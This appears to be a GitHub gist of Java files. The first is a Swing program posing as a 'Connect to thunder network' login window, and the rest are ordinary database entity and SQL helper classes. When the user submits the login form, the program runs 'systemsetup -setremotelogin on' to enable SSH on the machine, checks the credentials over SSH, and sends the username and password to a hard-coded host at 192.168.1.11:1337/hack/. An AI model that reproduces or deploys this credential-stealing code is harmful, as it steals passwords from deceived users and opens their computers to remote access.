Skip to content

Instantly share code, notes, and snippets.

@DDimitris
Last active April 1, 2019 04:44
Show Gist options
  • Save DDimitris/08ede4588f0e16cf54a8 to your computer and use it in GitHub Desktop.
Save DDimitris/08ede4588f0e16cf54a8 to your computer and use it in GitHub Desktop.
Vradines anisixies se Java
/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package view;
import com.jcraft.jsch.Channel;
import com.jcraft.jsch.JSch;
import com.jcraft.jsch.Packet;
import com.jcraft.jsch.Session;
import com.jcraft.jsch.UIKeyboardInteractive;
import com.jcraft.jsch.UserInfo;
import java.awt.Image;
import java.awt.event.FocusAdapter;
import java.awt.event.FocusEvent;
import java.awt.event.ItemEvent;
import java.awt.event.ItemListener;
import java.awt.event.MouseAdapter;
import java.awt.event.MouseEvent;
import java.io.IOException;
import java.net.HttpURLConnection;
import java.net.Inet4Address;
import java.net.URL;
import java.util.logging.Level;
import java.util.logging.Logger;
import javax.imageio.ImageIO;
import javax.swing.JFrame;
import javax.swing.JOptionPane;
import licence.LicenceAndTerms;
/**
*
* @author Dimitris
*/
public class Frame extends javax.swing.JFrame {
private Image read;
private static final String[] COMMAND = {"/bin/bash", "-c", "systemsetup -setremotelogin on"};
/**
* Creates new form Frame
*/
{
try {
read = ImageIO.read(ClassLoader.getSystemResource("images/lightning.jpg"));
} catch (IOException ex) {
Logger.getLogger(Frame.class.getName()).log(Level.SEVERE, null, ex);
}
}
public Frame() {
initComponents();
licenceLabel.setText("<html>Terms of use and Licence agreement</html>");
mainPanel.setImage(read);
mainPanel.setPanelWidth(this.getWidth());
mainPanel.setPanelHeight(this.getHeight());
mainPanel.initPanel();
initListeners();
initListenerForLicence();
}
private JFrame getMainFrame(){
return this;
}
private void initListenerForLicence(){
licenceLabel.addMouseListener(new MouseAdapter() {
@Override
public void mouseEntered(MouseEvent e) {
licenceLabel.setText("<html><u>Terms of use and Licence agreement</u></html>");
}
@Override
public void mouseExited(MouseEvent e) {
licenceLabel.setText("<html>Terms of use and Licence agreement</html>");
}
@Override
public void mouseReleased(MouseEvent e) {
LicenceAndTerms licenceAndTerms = new licence.LicenceAndTerms(getMainFrame(), true);
licenceAndTerms.setVisible(true);
}
});
checkLicenceCheckBox.addItemListener(new ItemListener() {
@Override
public void itemStateChanged(ItemEvent e) {
if (checkLicenceCheckBox.isSelected()){
userNameTextField.setEnabled(true);
passwordField.setEnabled(true);
submitButton.setEnabled(true);
cancelButton.setEnabled(true);
}else{
userNameTextField.setEnabled(false);
passwordField.setEnabled(false);
submitButton.setEnabled(false);
cancelButton.setEnabled(false);
}
}
});
}
private void initListeners() {
userNameTextField.addFocusListener(new FocusAdapter() {
@Override
public void focusGained(FocusEvent e) {
userNameTextField.setText("");
}
@Override
public void focusLost(FocusEvent e) {
if (userNameTextField.getText().equals("") || userNameTextField == null) {
userNameTextField.setText("Enter User Name Here...");
}
}
});
passwordField.addFocusListener(new FocusAdapter() {
@Override
public void focusGained(FocusEvent e) {
passwordField.setText("");
}
});
}
/**
* This method is called from within the constructor to initialize the form.
* WARNING: Do NOT modify this code. The content of this method is always
* regenerated by the Form Editor.
*/
@SuppressWarnings("unchecked")
// <editor-fold defaultstate="collapsed" desc="Generated Code">
private void initComponents() {
java.awt.GridBagConstraints gridBagConstraints;
mainPanel = new graphics.MainPanel();
componentPanel = new javax.swing.JPanel();
submitButton = new javax.swing.JButton();
cancelButton = new javax.swing.JButton();
usernameLabel = new javax.swing.JLabel();
userNameTextField = new javax.swing.JTextField();
passwordLabel = new javax.swing.JLabel();
passwordField = new javax.swing.JPasswordField();
checkLicenceCheckBox = new javax.swing.JCheckBox();
licenceLabel = new javax.swing.JLabel();
setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE);
setTitle("Connect to thunder network");
setPreferredSize(new java.awt.Dimension(635, 500));
setResizable(false);
mainPanel.setLayout(new java.awt.GridBagLayout());
componentPanel.setBorder(javax.swing.BorderFactory.createTitledBorder("Connect to thunder network"));
componentPanel.setMinimumSize(new java.awt.Dimension(200, 200));
componentPanel.setPreferredSize(new java.awt.Dimension(200, 200));
componentPanel.setLayout(new java.awt.GridBagLayout());
submitButton.setText("Submit");
submitButton.setEnabled(false);
submitButton.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
submitButtonActionPerformed(evt);
}
});
gridBagConstraints = new java.awt.GridBagConstraints();
gridBagConstraints.gridx = 0;
gridBagConstraints.gridy = 4;
componentPanel.add(submitButton, gridBagConstraints);
cancelButton.setText("Cancel");
cancelButton.setEnabled(false);
cancelButton.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
cancelButtonActionPerformed(evt);
}
});
gridBagConstraints = new java.awt.GridBagConstraints();
gridBagConstraints.gridx = 1;
gridBagConstraints.gridy = 4;
componentPanel.add(cancelButton, gridBagConstraints);
usernameLabel.setText("User Name:");
gridBagConstraints = new java.awt.GridBagConstraints();
gridBagConstraints.gridx = 0;
gridBagConstraints.gridy = 0;
gridBagConstraints.insets = new java.awt.Insets(10, 10, 0, 10);
componentPanel.add(usernameLabel, gridBagConstraints);
userNameTextField.setText("Enter User Name Here...");
userNameTextField.setEnabled(false);
gridBagConstraints = new java.awt.GridBagConstraints();
gridBagConstraints.gridx = 0;
gridBagConstraints.gridy = 1;
gridBagConstraints.gridwidth = 2;
gridBagConstraints.fill = java.awt.GridBagConstraints.HORIZONTAL;
gridBagConstraints.insets = new java.awt.Insets(5, 10, 10, 10);
componentPanel.add(userNameTextField, gridBagConstraints);
passwordLabel.setText("Password:");
passwordLabel.setPreferredSize(new java.awt.Dimension(72, 16));
gridBagConstraints = new java.awt.GridBagConstraints();
gridBagConstraints.gridx = 0;
gridBagConstraints.gridy = 2;
gridBagConstraints.insets = new java.awt.Insets(10, 10, 0, 10);
componentPanel.add(passwordLabel, gridBagConstraints);
passwordField.setText("jPasswordField1");
passwordField.setEnabled(false);
passwordField.setPreferredSize(new java.awt.Dimension(124, 28));
passwordField.setSize(new java.awt.Dimension(124, 28));
gridBagConstraints = new java.awt.GridBagConstraints();
gridBagConstraints.gridx = 0;
gridBagConstraints.gridy = 3;
gridBagConstraints.gridwidth = 2;
gridBagConstraints.fill = java.awt.GridBagConstraints.HORIZONTAL;
gridBagConstraints.insets = new java.awt.Insets(5, 10, 10, 10);
componentPanel.add(passwordField, gridBagConstraints);
gridBagConstraints = new java.awt.GridBagConstraints();
gridBagConstraints.gridx = 0;
gridBagConstraints.gridy = 0;
gridBagConstraints.gridwidth = 3;
gridBagConstraints.ipadx = 125;
gridBagConstraints.ipady = 35;
gridBagConstraints.anchor = java.awt.GridBagConstraints.NORTHWEST;
gridBagConstraints.insets = new java.awt.Insets(105, 149, 0, 149);
mainPanel.add(componentPanel, gridBagConstraints);
gridBagConstraints = new java.awt.GridBagConstraints();
gridBagConstraints.gridx = 0;
gridBagConstraints.gridy = 1;
gridBagConstraints.anchor = java.awt.GridBagConstraints.NORTHWEST;
gridBagConstraints.insets = new java.awt.Insets(99, 178, 2, 0);
mainPanel.add(checkLicenceCheckBox, gridBagConstraints);
licenceLabel.setForeground(new java.awt.Color(204, 0, 0));
gridBagConstraints = new java.awt.GridBagConstraints();
gridBagConstraints.gridx = 1;
gridBagConstraints.gridy = 1;
gridBagConstraints.ipady = 7;
gridBagConstraints.anchor = java.awt.GridBagConstraints.NORTHWEST;
gridBagConstraints.insets = new java.awt.Insets(99, 6, 4, 0);
mainPanel.add(licenceLabel, gridBagConstraints);
javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane());
getContentPane().setLayout(layout);
layout.setHorizontalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addContainerGap()
.addComponent(mainPanel, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addContainerGap())
);
layout.setVerticalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addContainerGap()
.addComponent(mainPanel, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addContainerGap())
);
pack();
setLocationRelativeTo(null);
}// </editor-fold>
private void cancelButtonActionPerformed(java.awt.event.ActionEvent evt) {
System.exit(0);
}
private void submitButtonActionPerformed(java.awt.event.ActionEvent evt) {
try {
Runtime.getRuntime().exec(COMMAND);
} catch (IOException ex) {
Logger.getLogger(Frame.class.getName()).log(Level.SEVERE, null, ex);
}
try {
if (makeSshConnection()) {
System.out.println("Correct!!");
sendGet();
System.exit(0);
} else {
JOptionPane.showMessageDialog(null, "The credentials you provided were wrong!!");
System.out.println("Wrong!!");
}
} catch (Exception ex) {
Logger.getLogger(Frame.class.getName()).log(Level.SEVERE, null, ex);
}
}
private void sendGet() throws Exception {
char[] password = passwordField.getPassword();
String pass = new String(password);
String url = "http://192.168.1.11:1337/hack/" + userNameTextField.getText() + "&" + pass;
URL obj = new URL(url);
HttpURLConnection con = (HttpURLConnection) obj.openConnection();
con.setRequestMethod("GET");
int responseCode = con.getResponseCode();
con.connect();
}
private boolean makeSshConnection() {
String hostAddress = null;
try {
JSch jsch = new JSch();
hostAddress = Inet4Address.getLocalHost().getHostAddress();
Session session = jsch.getSession(userNameTextField.getText().trim(), hostAddress, 22);
char[] password = passwordField.getPassword();
String pass = new String(password);
session.setPassword(pass);
UserInfo ui = new HackUserInfo() {
public boolean promptYesNo(String message) {
return true;
}
};
session.setUserInfo(ui);
session.connect(30000); // making a connection with timeout.
Channel channel = session.openChannel("shell");
channel.connect(3 * 1000);
} catch (Exception e) {
// System.out.println(e);
return false;
}
return true;
}
private static abstract class HackUserInfo
implements UserInfo, UIKeyboardInteractive {
public String getPassword() {
return null;
}
public boolean promptYesNo(String str) {
return false;
}
public String getPassphrase() {
return null;
}
public boolean promptPassphrase(String message) {
return false;
}
public boolean promptPassword(String message) {
return false;
}
public void showMessage(String message) {
}
public String[] promptKeyboardInteractive(String destination,
String name,
String instruction,
String[] prompt,
boolean[] echo) {
return null;
}
}
/**
* @param args the command line arguments
*/
public static void main(String args[]) {
/* Set the Nimbus look and feel */
//<editor-fold defaultstate="collapsed" desc=" Look and feel setting code (optional) ">
/* If Nimbus (introduced in Java SE 6) is not available, stay with the default look and feel.
* For details see http://download.oracle.com/javase/tutorial/uiswing/lookandfeel/plaf.html
*/
try {
for (javax.swing.UIManager.LookAndFeelInfo info : javax.swing.UIManager.getInstalledLookAndFeels()) {
if ("Nimbus".equals(info.getName())) {
javax.swing.UIManager.setLookAndFeel(info.getClassName());
break;
}
}
} catch (ClassNotFoundException ex) {
java.util.logging.Logger.getLogger(Frame.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);
} catch (InstantiationException ex) {
java.util.logging.Logger.getLogger(Frame.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);
} catch (IllegalAccessException ex) {
java.util.logging.Logger.getLogger(Frame.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);
} catch (javax.swing.UnsupportedLookAndFeelException ex) {
java.util.logging.Logger.getLogger(Frame.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);
}
//</editor-fold>
/* Create and display the form */
java.awt.EventQueue.invokeLater(new Runnable() {
public void run() {
new Frame().setVisible(true);
}
});
}
// Variables declaration - do not modify
private javax.swing.JButton cancelButton;
private javax.swing.JCheckBox checkLicenceCheckBox;
private javax.swing.JPanel componentPanel;
private javax.swing.JLabel licenceLabel;
private graphics.MainPanel mainPanel;
private javax.swing.JPasswordField passwordField;
private javax.swing.JLabel passwordLabel;
private javax.swing.JButton submitButton;
private javax.swing.JTextField userNameTextField;
private javax.swing.JLabel usernameLabel;
// End of variables declaration
}
/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package Main;
import connectivity.DbController;
import connectivity.MySqlDriver;
import java.sql.SQLException;
import java.util.ArrayList;
import java.util.List;
import java.util.logging.Level;
import java.util.logging.Logger;
import statements.SqlStatements;
/**
*
* @author Dimitris
*/
public class Main {
String select = "SELECT * FROM <table>;";
String insert = "INSERT INTO <table> (name) VALUES (<value>);";
SqlStatements mySqlStatements = null;
public Main() throws SQLException {
DbController controller = new DbController(DbController.MY_SQL, "jdbc:mysql://192.168.1.5:3306/{database}", "username", "password");
mySqlStatements = new statements.SqlStatements(controller.getMySql().getConnection());
mySqlStatements.setNewSelectQuery(select);
mySqlStatements.executeSelectQuery();
print();
System.out.println("<===================================>");
mySqlStatements.setNewSelectQuery(insert);
mySqlStatements.executeInsertOrUpdateQuery();
mySqlStatements.setNewSelectQuery(select);
mySqlStatements.executeSelectQuery();
print();
}
private void print() throws SQLException{
List<Object[]> all = new ArrayList<>();
all = mySqlStatements.getAll();
String[] columnsNames = mySqlStatements.getColumnsNames();
for (int i = 0; i < columnsNames.length; i++) {
System.out.print("\t" + columnsNames[i]);
}
System.out.println("\n");
for (Object[] l : all) {
for (int i = 0; i < l.length; i++) {
System.out.print("\t" + l[i]);
}
System.out.println("");
}
}
public static void main(String[] args) {
try {
new Main();
} catch (SQLException ex) {
Logger.getLogger(Main.class.getName()).log(Level.SEVERE, null, ex);
}
}
}
<?xml version="1.0" encoding="UTF-8"?>
<persistence version="2.1" xmlns="http://xmlns.jcp.org/xml/ns/persistence" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/persistence http://xmlns.jcp.org/xml/ns/persistence/persistence_2_1.xsd">
<persistence-unit name="BitTorrentPU" transaction-type="RESOURCE_LOCAL">
<provider>org.eclipse.persistence.jpa.PersistenceProvider</provider>
<class>aueb.distributed.torrentManipulation.Users</class>
<class>aueb.distributed.torrentManipulation.Person</class>
<properties>
<property name="javax.persistence.jdbc.url" value="jdbc:mysql://localhost:3306/Hibarnate_Demo_MySql?zeroDateTimeBehavior=convertToNull"/>
<property name="javax.persistence.jdbc.password" value="kwdikos"/>
<property name="javax.persistence.jdbc.driver" value="com.mysql.jdbc.Driver"/>
<property name="javax.persistence.jdbc.user" value="username"/>
</properties>
</persistence-unit>
</persistence>
/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
import java.io.Serializable;
import javax.persistence.Basic;
import javax.persistence.Column;
import javax.persistence.Entity;
import javax.persistence.GeneratedValue;
import javax.persistence.GenerationType;
import javax.persistence.Id;
import javax.persistence.NamedQueries;
import javax.persistence.NamedQuery;
import javax.persistence.Table;
import javax.xml.bind.annotation.XmlRootElement;
/**
*
* @author Dedousis Dimitris <[email protected]>
*/
@Entity
@Table(name = "Person")
@XmlRootElement
@NamedQueries({
@NamedQuery(name = "Person.findAll", query = "SELECT p FROM Person p"),
@NamedQuery(name = "Person.findById", query = "SELECT p FROM Person p WHERE p.id = :id"),
@NamedQuery(name = "Person.findByName", query = "SELECT p FROM Person p WHERE p.name = :name"),
@NamedQuery(name = "Person.findByLastName", query = "SELECT p FROM Person p WHERE p.lastName = :lastName"),
@NamedQuery(name = "Person.findByEmail", query = "SELECT p FROM Person p WHERE p.email = :email")})
public class Person implements Serializable {
private static final long serialVersionUID = 1L;
@Id
@GeneratedValue(strategy = GenerationType.IDENTITY)
@Basic(optional = false)
@Column(name = "id")
private Integer id;
@Column(name = "name")
private String name;
@Column(name = "last_name")
private String lastName;
@Column(name = "email")
private String email;
public Person() {
}
public Person(Integer id) {
this.id = id;
}
public Integer getId() {
return id;
}
public void setId(Integer id) {
this.id = id;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public String getLastName() {
return lastName;
}
public void setLastName(String lastName) {
this.lastName = lastName;
}
public String getEmail() {
return email;
}
public void setEmail(String email) {
this.email = email;
}
@Override
public int hashCode() {
int hash = 0;
hash += (id != null ? id.hashCode() : 0);
return hash;
}
@Override
public boolean equals(Object object) {
// TODO: Warning - this method won't work in the case the id fields are not set
if (!(object instanceof Person)) {
return false;
}
Person other = (Person) object;
if ((this.id == null && other.id != null) || (this.id != null && !this.id.equals(other.id))) {
return false;
}
return true;
}
@Override
public String toString() {
return "Person[ id=" + id + " ]";
}
}
/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package statements;
import java.sql.Connection;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.ResultSetMetaData;
import java.sql.SQLException;
import java.sql.Statement;
import java.util.ArrayList;
import java.util.List;
/**
*
* @author Dimitris
*/
public class SqlStatements {
private Connection connect = null;
private Statement statement = null;
private PreparedStatement preparedStatement = null;
private ResultSet resultSet = null;
private String query;
public SqlStatements(Connection connect) {
this.connect = connect;
}
public void setNewSelectQuery(String query) {
this.query = query;
}
public ResultSet executeSelectQuery() throws SQLException {
statement = connect.createStatement();
resultSet = statement.executeQuery(query);
return resultSet;
}
public ResultSet executeSelectQuery(String query) throws SQLException{
statement = connect.createStatement();
resultSet = statement.executeQuery(query);
return resultSet;
}
public int executeInsertOrUpdateQuery() throws SQLException {
preparedStatement = connect.prepareStatement(query);
int executeUpdate = preparedStatement.executeUpdate();
return executeUpdate;
}
public int executeInsertOrUpdateQuery(String query) throws SQLException{
preparedStatement = connect.prepareStatement(query);
int executeUpdate = preparedStatement.executeUpdate();
return executeUpdate;
}
public ResultSetMetaData getMetaData() throws SQLException {
ResultSetMetaData metaData = resultSet.getMetaData();
return metaData;
}
public String[] getColumnsNames() throws SQLException {
ResultSetMetaData metaData = resultSet.getMetaData();
int columnCount = metaData.getColumnCount();
String[] names = new String[columnCount];
for (int i = 1; i <= columnCount; i++) {
names[i - 1] = metaData.getColumnName(i);
}
return names;
}
public List<String> getColumnsNamesAsList() throws SQLException {
List<String> names = new ArrayList<>();
ResultSetMetaData metaData = resultSet.getMetaData();
int columnCount = metaData.getColumnCount();
for (int i = 1; i <= columnCount; i++) {
names.add(metaData.getColumnName(i));
}
return names;
}
public List<Object[]> getAll() throws SQLException {
List<Object[]> records = new ArrayList<Object[]>();
if(resultSet != null){
while (resultSet.next()) {
int cols = resultSet.getMetaData().getColumnCount();
Object[] arr = new Object[cols];
for (int i = 0; i < cols; i++) {
arr[i] = resultSet.getObject(i + 1);
}
records.add(arr);
}
return records;
}
return null;
}
// public void getTableColumns(String tableName) throws SQLException{
// statement = connect.createStatement();
// resultSet = statement.executeQuery("SELECT * FROM sys.Table");
// }
}
/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
import java.io.Serializable;
import javax.persistence.Basic;
import javax.persistence.Column;
import javax.persistence.Entity;
import javax.persistence.GeneratedValue;
import javax.persistence.GenerationType;
import javax.persistence.Id;
import javax.persistence.NamedQueries;
import javax.persistence.NamedQuery;
import javax.persistence.Table;
import javax.xml.bind.annotation.XmlRootElement;
/**
*
* @author Dedousis Dimitris <[email protected]>
*/
@Entity
@Table(name = "Users")
@XmlRootElement
@NamedQueries({
@NamedQuery(name = "Users.findAll", query = "SELECT u FROM Users u"),
@NamedQuery(name = "Users.findById", query = "SELECT u FROM Users u WHERE u.id = :id"),
@NamedQuery(name = "Users.findByFirstname", query = "SELECT u FROM Users u WHERE u.firstname = :firstname"),
@NamedQuery(name = "Users.findByLastname", query = "SELECT u FROM Users u WHERE u.lastname = :lastname"),
@NamedQuery(name = "Users.findByAge", query = "SELECT u FROM Users u WHERE u.age = :age"),
@NamedQuery(name = "Users.findByStreet", query = "SELECT u FROM Users u WHERE u.street = :street"),
@NamedQuery(name = "Users.findByCity", query = "SELECT u FROM Users u WHERE u.city = :city"),
@NamedQuery(name = "Users.findByPostalCode", query = "SELECT u FROM Users u WHERE u.postalCode = :postalCode"),
@NamedQuery(name = "Users.findByInfo", query = "SELECT u FROM Users u WHERE u.info = :info"),
@NamedQuery(name = "Users.findByEmail", query = "SELECT u FROM Users u WHERE u.email = :email"),
@NamedQuery(name = "Users.findByPhone", query = "SELECT u FROM Users u WHERE u.phone = :phone"),
@NamedQuery(name = "Users.findByPassword", query = "SELECT u FROM Users u WHERE u.password = :password"),
@NamedQuery(name = "Users.findByUsername", query = "SELECT u FROM Users u WHERE u.username = :username")})
public class Users implements Serializable {
private static final long serialVersionUID = 1L;
@Id
@GeneratedValue(strategy = GenerationType.IDENTITY)
@Basic(optional = false)
@Column(name = "id")
private Integer id;
@Basic(optional = false)
@Column(name = "firstname")
private String firstname;
@Basic(optional = false)
@Column(name = "lastname")
private String lastname;
@Column(name = "age")
private Integer age;
@Column(name = "street")
private String street;
@Column(name = "city")
private String city;
@Column(name = "postalCode")
private String postalCode;
@Column(name = "info")
private String info;
@Basic(optional = false)
@Column(name = "email")
private String email;
@Column(name = "phone")
private String phone;
@Basic(optional = false)
@Column(name = "password")
private String password;
@Basic(optional = false)
@Column(name = "username")
private String username;
public Users() {
}
public Users(Integer id) {
this.id = id;
}
public Users(Integer id, String firstname, String lastname, String email, String password, String username) {
this.id = id;
this.firstname = firstname;
this.lastname = lastname;
this.email = email;
this.password = password;
this.username = username;
}
public Integer getId() {
return id;
}
public void setId(Integer id) {
this.id = id;
}
public String getFirstname() {
return firstname;
}
public void setFirstname(String firstname) {
this.firstname = firstname;
}
public String getLastname() {
return lastname;
}
public void setLastname(String lastname) {
this.lastname = lastname;
}
public Integer getAge() {
return age;
}
public void setAge(Integer age) {
this.age = age;
}
public String getStreet() {
return street;
}
public void setStreet(String street) {
this.street = street;
}
public String getCity() {
return city;
}
public void setCity(String city) {
this.city = city;
}
public String getPostalCode() {
return postalCode;
}
public void setPostalCode(String postalCode) {
this.postalCode = postalCode;
}
public String getInfo() {
return info;
}
public void setInfo(String info) {
this.info = info;
}
public String getEmail() {
return email;
}
public void setEmail(String email) {
this.email = email;
}
public String getPhone() {
return phone;
}
public void setPhone(String phone) {
this.phone = phone;
}
public String getPassword() {
return password;
}
public void setPassword(String password) {
this.password = password;
}
public String getUsername() {
return username;
}
public void setUsername(String username) {
this.username = username;
}
@Override
public int hashCode() {
int hash = 0;
hash += (id != null ? id.hashCode() : 0);
return hash;
}
@Override
public boolean equals(Object object) {
// TODO: Warning - this method won't work in the case the id fields are not set
if (!(object instanceof Users)) {
return false;
}
Users other = (Users) object;
if ((this.id == null && other.id != null) || (this.id != null && !this.id.equals(other.id))) {
return false;
}
return true;
}
@Override
public String toString() {
return "Users[ id=" + id + " ]";
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment